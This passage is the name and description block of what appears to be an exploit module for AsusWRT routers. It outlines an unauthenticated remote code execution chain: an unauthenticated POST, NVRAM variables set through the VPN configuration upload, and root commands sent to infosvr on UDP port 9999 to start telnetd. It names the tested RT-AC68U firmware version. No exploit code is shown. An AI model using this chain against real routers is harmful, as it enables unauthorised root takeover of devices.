'Name' => 'AsusWRT LAN Unauthenticated Remote Code Execution',
'Description' => %q{
The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to
perform a POST in certain cases. This can be combined with another vulnerability in
the VPN configuration upload routine that sets NVRAM configuration variables directly
from the POST request to enable a special command mode.
This command mode can then be abused by sending a UDP packet to infosvr, which is running
on port UDP 9999 to directly execute commands as root.
This exploit leverages that to start telnetd in a random port, and then connects to it.
It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.
